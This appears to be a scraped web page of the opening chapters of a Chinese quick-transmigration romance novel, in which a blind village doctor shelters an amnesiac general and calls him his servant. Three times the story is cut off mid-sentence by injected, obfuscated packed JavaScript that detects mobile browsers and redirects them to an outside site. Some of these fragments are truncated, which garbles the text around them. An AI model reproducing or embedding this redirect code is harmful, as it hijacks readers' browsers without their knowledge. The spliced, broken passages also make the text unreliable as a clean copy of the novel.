《男主请别觊觎路人甲炮灰(快穿)》 1. 医师1 大齐王朝,洒家村。 “大齐威武将军顾九黎带兵大败耶律,耶律写下降书将派遣使臣前往大齐王都晏城议和。听说这威武将军现已班师回朝……”从县城来的少年货郎正向村民滔滔不绝地讲述着自己的见闻。 背着药箱的青年双眼缠着黑布,手里敲着竹杆从货郎身前不远处走过。 货郎顿时失了声,双眼直勾勾地跟着青年移动,无他,实在是青年长得太好看,比他在县里最大的青楼怡红院里头见到的花魁还漂亮。 青年身穿粗布麻衣却不显落魄,身姿挺拔,一头黑亮的齐腰发丝被主人用碎布绾在脑后,潇洒又青涩,白皙的皮肤,高挺的鼻梁,浅淡的薄唇,像是一副清淡的水墨画,颜色虽浅却意境悠远。 只可惜,货郎看着青年双眼上裹缠的黑布。是个瞎子…… “那是谁?我怎从未在村里见过?”货郎问起身边人。 “那是宋家大郎青时,他平日不常出门,今天应该是在哪行医刚回来吧。” “是去老刘头家吧,听说他最近犯了风寒。” “行医?他还是大夫!但他不是看不见吗?” “人家也不是天生瞎的好吧,家传手艺。” …… 众人的讨论对象宋青时此时已经走远,没有听见他们的议论。 【叮,宿主宋青时,您的任务对象已经被您弟弟捡回家了。】 886:马上就要开始进入主线,做好准备了吗青时? 脑海中机械的电子声成功令青时停下脚步,他呼出口气,心里有些紧张,毕竟这是他作为剧情维护员的第一次任务。 青时其实不是洒家村的医师宋青时,他生活在地球23世纪,因为飞车失事死亡去了地府,结果他们说现在投胎业务已经排到800年后,于是将他打包送到银河公司做起了三千世界的剧情维护员,在他脑子里说话的就是分配给他的专属系统886。 这个世界的男主名叫顾九黎,是大齐王朝的将军,青时扮演的角色需要在男主被刺杀受伤后救他,然后把失忆的男主当仆人使唤,最后被恢复记忆的男主乱棍打死,算是个戏份不多的小反派。 叹了口气,青时继续往家的方向走去。 要说成为宋青时最大的不方便就是变成了一个瞎子,他刚进来的时候适应了好久才做到这样来去自如。 886:对不起青时,呜呜呜,是886太没用了抢不到好任务……下次我一定加油给你抢个不是瞎子的! ——别哭呀八八,这个角色剧情少,下线快,多好啊! 886:真的吗? ——嗯! 在和系统886的对话中青时推开木门进了家。 “哥,你回来了!”是宋青时的弟弟宋青玉,今年刚满10岁,勉强算是个大小伙。 宋青时和他两人父母双亡,相依为命。 青时关上大门转身朝向声音传来的方向,“青玉,功课预习的如何了?”宋青玉如今正在村里的私塾学习。 “早就预习完了。”宋青玉摸了摸鼻子上前拉住青时的手,“哥,你快跟我来。” “怎么了?”青时被他拉着往屋里去,嘴上还问着,心里其实已经知道他要带他去见谁了。 一进屋鼻尖便嗅到了刺鼻的血腥味和药味,宋青玉带着他来到床边,“哥,我在河边捡了个人,身上全是血,我不敢多动他,只撒了点止血药,你快帮他看看。” 听到这青时只想说弟弟还是安全意识太低啊,浑身是血的人都敢往家里带。 “好,我看看。”心里在吐槽行动上青时还是走到床边摸索着找到床上人的手。 还好,脉搏尚且有力。 青时放开手腕又去摸索床上人的身体。 衣裳布料柔软光滑,是上号的料子,上面有黏腻的液体,是血;身上有大大小小的伤疤和伤口,多是刀伤,最严重的一道在腹部,几乎横穿,青时还在他的头顶摸到一个肿胀的凸起,想必这就是男主醒来后失忆的原因。 青玉说的撒了点药真的就只是撒了点,伤口一点没处理过。 “哎,”青时微微叹了口气,“青玉你打点温水来将他身上擦洗一下,伤口处理干净,我去熬药。” “好嘞,哥。”青玉得了指令哒哒哒跑出去。 青时将床上人破烂的衣服一件件脱下,还好伤口尚且新鲜,没有粘连。 拿着男主的衣裳青时一下犯了难。 ——八八,剧情里宋青时是怎么处理男主衣服的? 886:啊?不知道啊,你知道的就是公司所有发出来的资料了。 ——公司只提供扮演角色的生平和要走的剧情简略走向?没有完整的剧情版本吗? 886:没有呢,我听前辈说以前会给维护员发整个世界完整剧情发展,但是总有人借先知的机会肆意破坏剧情,后来公司就只给维护员要走的任务过程了。 ——这样啊,好吧。 青时卷吧卷吧将男主的衣服团成一团,“既然这样,那我拿去烧了吧。”不然等男主醒来看到这衣服会怀疑自己的身份的,他可是要留下来做他的家仆的。 宋家这个宅子只有四间屋子,青时和青玉一人一间,一间厨房,还有一间是大厅,也是他们吃饭的地方。 青时的房间除了一张床,很大一部分都摆满了各种药材和器皿,这里除了是他休息睡觉的地方以外也是他治疗病人的所在地。 男主被宋青玉放在青时房间的小塌上,这是青时安顿上门求治的病人的地方,和他自己的木床只相隔了一道屏风。 手长腿长的男主安置在窄小的榻上很是滑稽,整个人将小塌遮得严严实实,小腿还有好大一截都落在塌外。 青时从自己分类好的药材柜里称了几味药去到厨房用小药罐煨了起来,还顺便烧了锅将晚饭蒸上,男主的衣服被他借着这个机会扔进了炉灶。 ——“哥,我都做完了!” 宋青玉的声音从房间内传来,青时将煨好的药倒进碗里,端着进了屋,“来了。” 青时将手里的碗交给宋青玉,“青玉,你把这药喂给他喝。” “好的哥!”宋青玉接过碗,青时听到了汤匙划动的声音,“不行啊哥,搭把手,他这样躺着喂不进去。” “好。”青时坐到塌边将男主上半身抬起,让自己成为他的支撑点,一手托住他的下颌,“喂吧,青玉。” 温热的药汁顺着男主的嘴角滑落到青时的掌心,直到集聚了一个水洼这碗药才终于喂完。 也不知道喝进去多少。 青时用手帕擦干净男主的下巴和自己的手,没有将人放下,而是对青玉说:“青玉,你把那屏风移开,我们一起将他挪到我床上去。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299421|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“啊?给他睡床,那哥你睡哪?”宋青玉不解。 “这小塌对他来说太小,不利于他伤口的恢复,在他醒来之前,我先在这里将就一下吧。”青时解释。 “好吧,便宜他了。” * 男主不愧是男主,不过两三日功夫身上这么严重的伤就好的差不多,只是人一直没醒。 又一日喂药时候,刚喂没两口就听身前的宋青玉说:“哥,他醒了!” 青时扶着男主下巴的手顿时一僵,然后若无其事松开,掏出帕子想擦手却下意识地先给男主擦起了下巴,青时有些尴尬,干巴巴地说了句:“你醒了?” “咳咳咳,”胸前的身躯传来震动,随后沙哑的声音从前头传来,“你们是谁?我是谁?这里是哪里?” 很好,剧情他来了! “咳咳,”青时从床边站起身,润了润嗓,“你不记得了吗,我叫宋青时,这是我弟弟宋青玉,你叫大黑,是我从镇上买回来的家仆,前些日子你从崖上摔了一跤受了伤。” “我叫大黑?……对不起,我什么都想不起来了。”顾九黎捂着自己的头,那里面一片空白,但是他觉得自己应该不是仆人才对,他望了一圈这个充斥着药香的空间,又看向面前的两兄弟,着重关注了那个眼睛上蒙着黑布的青年,心里不合时宜地想:黑色很适合他,好白。 “没关系,应该是摔伤了头,脑中淤血堵致记忆混淆不清,”青时给出专业解答,“等淤血散了,自然就会慢慢想起来的。” “这样吗,”顾九黎摸了摸自己后脑那里确实有个硬块,于是他选择暂时相信眼前青年的说辞,“那多谢青时少爷您救我,大黑感激不尽。” 嘶,男主好上道。 “客气了,你是我家的仆人,救你是应该的,”青时拍了拍宋青玉的肩,“青玉,你把药给他让他自己喝。你去忙课文吧,这里有我。” “……好的哥。”宋青玉没看懂他哥想干什么,不过他也不会傻到当着别人的面问出来,于是将碗递给顾九黎就回了自己屋。 “咕咚,咕咚。”两下吞咽声后,青时又听见了顾九黎的声音,“青时少爷,药喝完了。这碗……” “碗给我吧。”青时伸出手,瓷碗被放进他的手心,正当他准备拿着碗出去时,顾九黎又开口:“青时少爷,请问我的衣物……” “……”青时脚下一顿,他想起被自己烧了火的衣裳,开口忽悠道:“呃,你的衣服掉崖时摔烂我给扔了。我重新找件给你吧。” 青时将手里的碗放到一旁的药柜上,打开房间一角的木箱翻找起来。 顾九黎的身形他这几天已经基本了解到了,身高将近190,宽肩窄腰,肌肉不大但很有爆发力,他和青玉的衣服他肯定是穿不上的…… 啊,有了!青时从箱子最底下翻出一件绸子面料的短卦,这是宋青时他们的父亲以前去给镇上的大户人家看病时才穿的衣服,因为料子还不错在他过世后没有一起被烧掉。 “我这边没有和你尺寸的衣物,这是我父亲留下的,你先穿这个吧。”青时将衣服递给顾九黎。 “好的,谢谢青时少爷。”顾九黎接过衣物有些惊讶,因为这衣服的料子明显比青年身上的粗布好很多,他却毫不犹豫的交给他。 看来他这少爷的性格还挺好的。 “嗯。”青时端起碗去了厨房。 2. 医师2 “哥——”压低的呼喊唤回了青时的思绪。 青时:“怎么了,青玉?” “哥,你干嘛说那个人是我们家的仆人,要是万一他突然想起来了怎么办?”宋青玉有些担忧。 你哥我也不想啊,但是这是任务,是你哥我必须要走的剧情。 青时叹了口气,“没事的青玉,你看他现在什么都想不起来,自然也没办法给诊钱,总不能让你哥我做白工吧,我们家的情况可经不住这么浪费。” “让他留下来帮忙做些活就当抵了银钱,等他想起来再让他走便是。” “哥哥说得在理,那就这样吧。”宋青玉认同地点点头。 青时端着清粥和几样小菜来到大厅,“青玉你去叫他出来吃饭吧。” “好。”宋青玉接到指令连忙跑进他哥的屋子,却发现屋里那个男人已经下了床正在他哥房里四处走动,像是在观察什么,他大声咳嗽两声,说道:“大黑,吃饭了。” “好。”顾九黎应了声,跟着出去。 顾九黎吃相文雅,速度却不慢,一海碗粥不一会儿就见了底。 宋青玉看得目瞪口呆,突然觉得他哥留下这人说不定是个错误决定,看这架势他能吃到他们家破产! “两位少爷,不知我能否再吃一碗?”顾九黎喝完一碗粥竟感觉自己没有一点饱腹感,于是不好意思的开口问道。 闻言青时夹菜的筷子一停,此时他手里巴掌大的小碗里的粥才喝了两三口,分毫不见少,“你自己去盛吧,厨房在那边。” 男主还是个大胃王吗,这么能吃,还好他多煮了一些。 “多谢青时少爷。” 顾九黎又盛了半碗出来,这次他喝的速度明显慢了下来,只是他心头有个疑问:“青时少爷,我看厨房里鸡蛋蔬菜米面都有,怎么两位少爷和我一起吃咸菜呢?” “……”好问题。青时想说是他不想吃吗,事实是宋家这两位少爷没一个会做饭的,他能煮个粥出来已经是父亲去世后两年来最大的进步了,这几样咸菜还是病人送给他的。 要不是村里人知道他们家的情况时不时接济一下,只怕两兄弟早就饿死在屋里了。 “咳,少爷我,厨艺不精。”青时解释道。 “哦——”顾九黎突然恍然大悟,“看来之前是我为两位少爷做饭吗,少爷放心,我的伤都好的差不多了,接下来也交给我做吧。” “啊?”男主居然还会做饭?青时黑布下的双眼微睁,“好的,那继续麻烦你了,大黑。” 顾九黎:“这是我应该做的。” 饭后青时烧了热水打算洗澡,这时正直春末夏初,天气不算热,但青时习惯每天洗个澡(除了冬天,这边的冬日太冷,又没有暖气),这是青时的个人习惯不是宋青时的。 青时从自己屋里拿了套干净衣裳,听见顾九黎跟着自己进来,他转身指向自己睡了好几天的小塌,“大黑,你既然醒了就睡回自己的地方吧,之前是怕你伤口裂开才把你放在床上的。”不然仆人睡床少爷睡塌算什么事。 “……好的青时少爷。” 青时洗澡的地方在厨房后面,那里搭了个简易棚子,其中放着一个浴桶。 他用木桶装了热水正准备提起,手却捞了空,“桶呢?” 顾九黎看着眼前这个名为宋青时的青年,心中对他说自己是他的仆人的话产生了一丝疑问:他明显习惯自己做事,丝毫没有使唤仆人的自觉,但他为什么又说自己是他的仆人呢? “青时少爷,我帮你提吧。” 听见男主的声音从自己身前传来,青时找桶的动作僵了一下,随后若无其事的支起身,“那辛苦你了。” 男主这仆人当得还真自觉啊! 洗完澡青时浑身清爽地回了房间,坐在床上用干布巾擦着湿发,这时脑海中忽然出现的机械音却让他面色一怔。 【叮】 【剧情推进任务:让顾九黎给你洗脚至少3分钟。限时10分钟。】 ——???八八,这是什么? 886:青时,这是公司新推出的任务帮扶系统,能帮助维护员更好的完成任务。 ——这,靠谱吗?这样折辱男主,我真的不会被打死吗? 886:当然靠谱啦!公司推出前做了上千次测试,宿主用了都说好! 886:你本来不就是要被打死的吗? ——你说得对。完不成的话会有惩罚吗? 886:我看看……有的,这属于强制任务,不完成的话会随机掉落惩罚,至于惩罚内容会从素材库里抽取。素材库是由公司旗下的宿主们提供,886是建议青时你尽量完成任务,素材库里的惩罚超级变态的! ——看来不做是不行了。 青时让自己尽量面色平静,但手里攥紧的布巾暴露了他的内心,“大黑,我的脚回来时沾了灰,你去打点水来帮我浴下足。” “……”房间里一片寂静,但青时知道顾九黎此时正在屋里,因为他回来时听到了另一人的呼吸声,只是不知道他具体在哪个位置。 没人应答,青时侧了侧头,硬着头皮又喊了声:“大黑?” “好的,少爷。”书桌的方向传来一道有些暗哑的声音,随后是房门被打开。 青时松了口气,但又想到男主刚才压抑的回应。这下男主只怕是恨死他了,难怪最后会被乱棍打死。 但其实顾九黎完全没有被冒犯到,他只是看着青年晃了神。 青年进门的时候他正在翻看书桌上的药方,行文潇洒飘逸,如果不是字迹偏大不太工整完全看不出书写者是个眼疾之人。 听见开门声他下意识瞟了一眼,这眼睛就再也没从青年身上移开。 浑身水汽的青年身形瘦削,腰肢纤细,几乎只有他一掌之距,一身白皙皮肉经由热水浸透后散发着淡淡的红; 双眼上的黑布已经取下,他原以为他是因为丑陋不可见人方才蒙上,此时一看才知他的猜测大错特错,那双浅淡的黑色眸子形似桃花,其内好像装着星河,闪烁着烛火,要不是能明显看出眼睛没有焦距,只怕会以为这人是在装瞎。 耳边传来青年呼喊自己的声音,顾九黎的眼睛一下就落在青年垂在床边的那双比平常男子小而精致的玉足上,脚趾微微勾起,青涩的血管凸起在脚背,他不由得猜测失忆之前的自己是不是有某种不为人知的癖好,不然他怎么会看着青年的脚出了神。 直到再次听见青年叫自己,顾九黎才从干渴的喉中给出回应。 顾九黎端着热水来到床边,将青时的双脚放进木盆,轻柔的摩挲着。 男主手指上的粗茧揉搓到娇嫩的脚心,顿时一阵似有似无的麻痒从脚底一路上传到脊柱,若有若无的撩拨感让青时差点软下腰倒进床里,他下意识想抽回自己的脚,却发现一只宽大的手掌桎梏在自己的脚踝,自己的退缩没能成功。 青时看了眼任务时间,才过了一分半,要是刚才抽回脚只怕这个任务就失败了,但是这细密的麻痒实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯,是我,青时少爷。”顾九黎应了声,又问道:“需要我为少爷更衣吗?” 青时张嘴想说不用,但是转念又想到自己的任务是把他当仆人,于是嘴里的话拐了个弯儿,“好。” 听见顾九黎拿起衣服的声响,青时在床边站起,等着他来为自己穿衣。 “抬手,青时少爷。”青时乖乖抬起双手。 穿上两个衣袖,扣上衣领,青时感觉一双灼热的大掌落在自己的腰迹,额间似乎能感受到另一个人的呼吸,宽厚的手掌提着他向上颠了颠,青时腰间肌肉瞬间绷紧,好在只持续了眨眼功夫腰带便系好了。 接着是蒙眼的黑布,顾九黎一圈圈将其绕好,固定住。 “好了吗?”青时问。 “还差一步,青时少爷。”顾九黎的手掌搭上青时的肩膀,略微用力让他重新坐回床上,“鞋袜还未穿。” “!”听见他的话青时下意识的想起昨晚洗脚时的感触,身体微颤,他微微蹙眉,说道:“这便……这便不必了吧,我自己……” “要的。”青时话没说完便被打断,顾九黎不容置疑地捏住他的脚腕,套上袜子,最后还细心的给他穿上鞋。 顾九黎退离床边,说:“青时少爷,我去做早食了。” 青时抿了抿嘴,“去吧。” 男主这什么毛病,伺候人上瘾了? 3. 医师3 青时来到药柜前,他今日起这么早是为了给宋青玉配个驱虫香包,因为前两天他就抱怨过最近上学时蚊虫增多,使他无法专心。 艾叶、紫苏、丁香、藿香、薄荷、陈皮、忍冬…… 称到忍冬时,青时抓了抓药柜里的余量,“看来今天要去采点忍冬才行,剩的不多了。” 说着他将称出来的药材放进研钵,用药杵研磨成粉,然后将药粉装进香囊袋,这样一份驱虫香包便完成了。 “青时少爷,早食做好了。”门口传来顾九黎的声音,青时朝他那边侧了侧耳朵,旋即将桌上做好的香囊全部拿起走过去。 “大黑,这是我配置的驱虫香包,佩戴在身上可使蚊虫不亲。”青时分出一个香包递到顾九黎面前。 就当是给男主为自己洗脚穿衣的报酬吧,虽然人家不一定想要。 顾九黎看着递到自己面前的这个素色的散发着清凉药味的香包,喉头微动,伸手将香包拿起,“多谢青时少爷。” “嗯。”见男主接过香包青时松了口气,朝他的方向点了下头,“麻烦叫青玉起床,不然他上学要迟到了。” 青时来到大厅,桌上放的似乎是蛋花汤和炒蔬菜,还有馒头的香味。 没想到男主还有这手艺。 “哇!今天早上吃这么好!”宋青玉的惊叹传来,青时感觉一阵风从身旁吹过,接着桌边便响起咀嚼声,“唔唔……大黑,你做饭真好吃,我好久没吃到正常的饭食了。” 闻言青时无奈地笑了,“青玉,感情我平日还亏待了你不成?” “没有没有,哥你很好,”宋青玉一边摇头一边说,“就是咱俩没那个厨艺天分。” “吃吧你。” 青时刚坐下手里便被塞了个蓬松的馒头,“青时少爷,快吃吧。” “好。大黑你也吃。”青时接过馒头送进嘴里。 唔,难怪青玉吃的这么香,味道确实不错。蓬松的面皮搭配淡淡的麦香,被唾液沾湿后舌尖似乎还能尝到微微的甜。 馒头很好吃,可惜青时的胃口不大,勉强吃了一半就感觉胃被撑满,只是面前没有碗给他放下,而且这么好吃的馒头就这样被浪费好像挺可惜的,于是他手捏着馒头一时之间不知如何是好。 “青时少爷,喝点汤吧。”手里的馒头突然被人拿走,一个碗被放进他手里。 是顾九黎。 “哦,好。”青时端起碗喝了一口蛋花汤,鲜美的汤加了一点盐提味,温热的汁液滑进食道,带来一种舒畅感。 青时喝汤的时候身旁的宋青玉看到顾九黎面不改色的将青时吃了一半的馒头塞进自己嘴里,顿时瞳孔震惊。 什么情况?!他们是亲兄弟,还是我们是亲兄弟?这人不会是要和我抢哥吧? “咳咳咳!……”宋青玉呛到。 “怎么了,青玉?”青时急忙放下碗,问道。 “咳咳,没……没事哥,”宋青玉喝个口汤将梗在喉间的馒头咽下,“哥,我吃好了,去上学了。” “等下,青玉,”青时从袖口取出做好的驱虫香包,递给宋青玉,“这是驱虫香包,你带上。” “哇,谢谢哥!哥你对我真好!”宋青玉接过香包给了青时一个熊抱,然后开心的出了门。 青时因他突如其来的拥抱愣了下神,随后笑道:“没大没小的。” “青时少爷,还喝吗?”顾九黎见青时面前的碗空了,于是便问。 “不用了,我吃好了。”实际是吃撑了。青时不着痕迹揉了揉肚子,“大黑,我等下要上山采药,你就呆在家……” “我随您一起去。”顾九黎插话。 青时抿唇,“但你的伤还未好全……” 顾九黎:“不碍事的,青时少爷的医术很好。” “行吧。”听出顾九黎跟着自己的决心,青时无奈答应。 男主当仆人这么自觉,让他都有些负罪感了。 宋家的宅院在洒家村的最外围,是这一片独一户的人家,青时平时采药的山在远离村庄的另一边。 青时带着顾九黎走在路上,迎面撞上牵着黄牛的铁二狗。 “宋大郎,去采药吗?”铁二牛叫停黄牛,红着脸朝青时打招呼。 “嗯?”青时朝铁二牛的方向侧耳,“是铁家二郎吧,今日这么早回?” 铁二牛摸着自己的脑袋傻笑,“今日出来的早。”这时他注意到青时身侧不容忽视的顾九黎,见他直勾勾盯着自己,便将想要继续寒暄的心放了回去,小声问:“宋大郎,不知你身旁这位是?” 青时微微一笑,“这是我前些日子去镇上买的家仆,唤他大黑便是。” “啊?…嗷……挺好的。”铁二牛望着气宇非凡的顾九黎,心中腹议:这大黑着实不像是个仆人,长得人模狗样的,别是瞧着宋大郎看不见来诓骗宋大郎的!“这位…这位大黑,看着像是大户人家子弟,怎么会被卖做仆人?” 顾九黎抢在青时前面开口:“不过看着像罢了,家里穷得很。” 青时愕然,他还什么也没说,男主怎么张口就来。 “青时少爷,还上山吗?”顾九黎上前一步弯腰低头凑到青时耳边问道。 青时点点头,他也不欲和人多说,不然男主的身份岂不是会提前露馅。他对着铁二牛的方向说:“铁二郎,今日我着急上山,我们改日再聊吧。” “好的,好的。”铁二牛让开路看着青时和顾九黎远去。 那个名叫大黑的仆人走在宋大郎身后,宽厚的身形将宋大郎完全笼罩在自己的阴影之下,他只能看到一点飘飞的衣角。 这座山青时早就爬了数百次,不说对整座山了如指掌,对山上药材的生长区还是一清二楚的,他很轻易的便找到了一处忍冬藤的生长地。 青时放下竹杖,伸手摘下一朵花放到鼻尖下,清香中带有一丝苦涩,是上好的忍冬,他将花放在手心递向一旁的顾九黎,“大黑,这就是我今天要采的药草——忍冬,又名金银花,有黄白二色,你拿着这朵对比着采摘吧,只要花即可。” 粗糙的指尖划过掌心,顾九黎拿走了那朵金银花,“好的,少爷。” 青时默不作声地采摘着忍冬,顾九黎也不多言,一时之间只闻一轻一重两道呼吸交相呼应。 当一个人认真做事的时候很容易忽略周围环境,青时钻进忍冬藤包围圈里,转身的时候脚下不知踢到什么,随着一声布帛撕裂的声响,他直接跌倒在地。 眼前一阵刺痛,温热的水流从眼角不断滴落,青时连忙用手掌遮住双眼,伸手摸了摸发现蒙眼的布巾掉了。 “青时少爷,你没事吧!”顾九黎冲到青时面前想确认他的情况。 “大黑,”青时抓住顾九黎的手腕抬起头,一张梨花带雨的脸触不及防地暴露在顾九黎眼前,“你帮我,帮我找一下我的蒙眼巾。” 直直对上那双眼角微红的桃花眼,顾九黎瞳孔猛的紧缩,被抓住的手腕仿佛被火焰燎过,他早就知道青年长得好,但此刻还是被冲击到了。 狠狠咬了下发痒的牙,顾九黎从树枝上将碎裂的蒙眼布取下递给青时,“少爷,在这儿。” 青时接过布巾急忙用其重新包裹住双眼,眼前终于不在刺痛,他顿时松了口气。 顾九黎怔怔地看着青时的动作,轻声问道:“少爷,真的没事吗,你都……”哭了。 “我没事。”青时吸了吸鼻子,有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299423|140220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些尴尬,一个大男人不停流泪什么的,于是解释说:“我双眼见日光便会泪流不止,所以才用黑布覆眼。” 说着青时手撑着地想站起身,结果右脚踝处的刺痛让他又坐了回去,“嘶……”他伸手接触了一下,右脚踝有些肿胀,骨头没事,应该是刚才跌倒扭伤了。 这叫什么事啊今天! “大黑,今日我们先回吧。”青时开口。 “好,”顾九黎扶着青时站起,“不过,青时少爷你这脚还好吗,还能走吗?” “没事,能走,回去擦点药油过两天就会好的。”青时循着记忆里放竹杖的地方摸去。 顾九黎拉住青时的手,在他面前半蹲下,“还是我背少爷回去吧,山路不好走。” “啊?不行不行,你伤还未好全,这如何使得!”青时想也没想便拒绝。 “或者,少爷你更想我抱你回去?”顾九黎语气有些微怒。 青时张了张嘴,话没过脑子脱口而出,“怎么抱?” 顾九黎没有回话,直接双手环住青时的大腿将人抱小孩般托起。 “!”陡然失去和地面的联系,青时一时慌了神,浮木般抓住身旁的物体,“大黑!大黑!背吧,我选背!” “呵。”双手间传来一声不明意义的轻笑,青时这才发现自己抓住的是顾九黎的头发,他讪讪地松手,再次说道:“还是背我吧,这样抱着委实不太雅观。” “行。”顾九黎爽快地将人放下,转身背到背上。 “青时少爷,你的眼疾是何原因导致的?”下山路上顾九黎不经意地问道。 “嗯?”青时有些意外男主为什么会问他这个事。 听出青时的迟疑,顾九黎抿嘴道:“如果不方便说可以不说,少爷当我没问。” “没什么不能说的,”青时笑了笑,“我13岁那年在山里迷路误食了一株毒草,后来捡回一条命但留了眼疾。这么看的话我还是大难不死的有福之人。” “这样吗……”顾九黎喃喃自语。背上是青年柔软温热的体温,鼻间盈满青年身上独特的清苦药香,他突兀地想,要是能一直这么走下去就好了。 微风吹起两人的发丝,它们在风中交缠,不分你我。 * 顾九黎背着青时回了宋宅,一路将人带进青时的房间才把人放下。 青时坐在自己书桌旁的椅子上,一边脱去右脚的鞋袜一边说:“大黑,麻烦帮我把药油拿过来一下,在门后药柜的顶上。” 却不想顾九黎拿了药油没有给他,反而倒在自己手上,接着一手握住他的右脚一手用药油按揉着伤处。 “嘶!”青时整个人一抖,粉白的脚趾蜷缩,“大黑!” “少爷忍一下,淤血要揉散才行。”顾九黎一边说手掌一边匀速地在脚踝处打转。 “唔,你…你让我,自己来……”青时抓住椅子的手指尖泛白,不完全是痛的,随着手掌的摩擦扭伤的脚踝处越来越热,几乎要将他烫伤。 “已经好了,少爷。”顾九黎放开了饱受折磨的脚踝。 青时喘着气向后靠上椅背,右脚微微颤抖着,整个变成红色。 “青时少爷,那些金银花要怎么处理?”蹲在青时身前的顾九黎哪怕知道青年看不见自己的反应,也不敢抬头,他觉得自己好像要坏掉了。 他竟然觉得青年此时的呼吸声好听极了,之前流泪的样子也很美,他想让青年流下更多眼泪,发出更多动听的声音。 一想到这些,他就……顾九黎看了眼裤子,忍不住暗骂自己禽兽。 青年可是个男人,他虽然失去了记忆但该有的常识还是有的,无论如何他也不该对一个男人产生这样的念头。 4. 医师4 青时缓过劲儿,回答顾九黎的问题:“带回来的忍冬清洗干净晾晒干就行。” 说完青时从椅子上起身,准备去处理那些忍冬。 顾九黎看到他杵着竹杖一瘸一拐的走,忍不住皱了眉,“青时少爷,要不您歇着吧,我来处理就好。” “那怎么行。”青时拒绝了他的提议,说完感觉自己语气似乎太重,找补道:“我并没有那般娇气,更何况只是坐着清洗。要不然,我们一起洗如何?” “……好。” 青时在院子里坐下,顾九黎打了凉水将两人采摘的忍冬从药篓里倒出。 青时把手伸进木盆捏起一朵花,一手拿着前端,一手顺着尾端撸过去将上面残留的细小枝叶去除,又放进水里清洗一遍,再放进一旁的竹编簸箕,“这样处理就可以了,很简单,只是比较费时间。” 顾九黎坐在青时身侧认真地观看他的一举一动,“好的,青时少爷,我学会了。” 两人花了一整个下午处理这些忍冬。 顾九黎将最后一个放进簸箕,“没有了,青时少爷。” “都处理完了吗。嘶!”青时扶着自己的腰站起身,弯了一下午的腰背简直太酸爽了。 “少爷,你怎么了?”顾九黎关切问道。 “我没事,”青时朝他摆摆手,“大黑,麻烦你把这个簸箕放到厨房那边的晾药架上。” 顾九黎应声:“好。我顺便去做晚饭。” “哥,我回来了!”大门被打开,宋青玉的喊声传来,“哥,你做的这个驱虫香包真好用,同窗都说很想要,嘿嘿,我才不给呢!” 青时轻笑,“那明日我多做几个给你,你带去学堂分给同窗吧。” “嘿嘿,”宋青玉傻笑,“哥哥真好。不过会不会累到你啊,要不然还是少做了几个吧。” 青时:“这有什么,小瞧你哥了不是。” “没有没有,哥最棒了。”宋青玉摇头晃脑的将书箱放回自己房间。 “可以吃饭了。” 听到顾九黎的呼唤宋青玉唰一下从屋里出来,“让我看看,今天晚上吃什么!” 青时也杵着竹杖过来,走到半路一只手伸过来抬起他微屈的手肘给他借力,青时朝着身侧勾起唇角,“谢谢你。” 男主可真是个大好人呐! 顾九黎看着青年嘴边的笑意,好半晌才回了个“嗯”。 “哥,你脚怎么回事?!”宋青玉这时才注意到青时红肿的右脚。 青时来到餐桌边坐下,“没事,今天在山上不小心扭了一下,不严重。” 宋青玉松了口气,嘟囔道:“哥,上山还是要小心点,别和爹……别哪天回来我就找不到你了。” “放心吧,”青时伸手揉了揉宋青玉的发髻,“我有叫大黑陪着我一起的。” “那还差不多。” 青时无奈道:“快吃饭吧。” 晚餐的菜色比早晨丰富很多,主食是蒸米饭,配菜有炒腊肉、呛蔬菜、鸡蛋羹外加之前剩的咸菜。 味道一如既往的好,顾九黎的厨艺得到了宋青玉和青时的一致好评。 吃完饭青时进厨房准备烧水洗澡,收拾碗筷的顾九黎进门就看到正在烧火的青时,“青时少爷是想烧水吗?我来就好。” 青时:“没事,你忙吧,我只是想洗个澡。” 闻言顾九黎眉间微蹙,“你的脚不疼了?” “我不进浴桶,冲一下就好了,”青时有些不好意思,“我习惯每天洗澡,不然会睡不着,更何况今天又是上山又是摔跤的,身上更脏了。” “哎。”顾九黎轻叹一声,抢过青时手里的木材,“我帮你烧。” 水热得很快,顾九黎将装水的木桶提进浴室,又把青时的换洗衣服交给他,“我在外面守着,你有事就叫我。” 青时点点头对他的话做出回应。 一直到洗完澡穿好衣服都没发生什么事,但当青时准备离开时意外发生了,他脚下一滑向后仰倒,腰背嗑到浴桶边缘,他顿时发出一声痛呼。 “少爷,怎么了?!”浴室门啪一声被打开,顾九黎冲了进来,看到青时手扶着浴桶边缘一脸痛苦,他有些慌张。 “嘶,没事,”青时扶着腰站直,“磕了一下。” “嗑哪了?”顾九黎来到青时身前,看他扶着腰,伸手也贴上去,“腰?” “嘶啊!,别碰,疼!”顾九黎灼热的手掌刺激到伤处,青时的腰不由得向上弹跳一下。 顾九黎喉头滚动,手远离青时的腰部,“还能走吗,少爷。” “我,我缓一下……哎!”准备先缓解一下疼痛的青时被人抱了起来,他发出惊呼,“大黑!你……” 顾九黎将人抱回房间放到榻上,又去拿药油,“青时少爷,我帮你上药。” 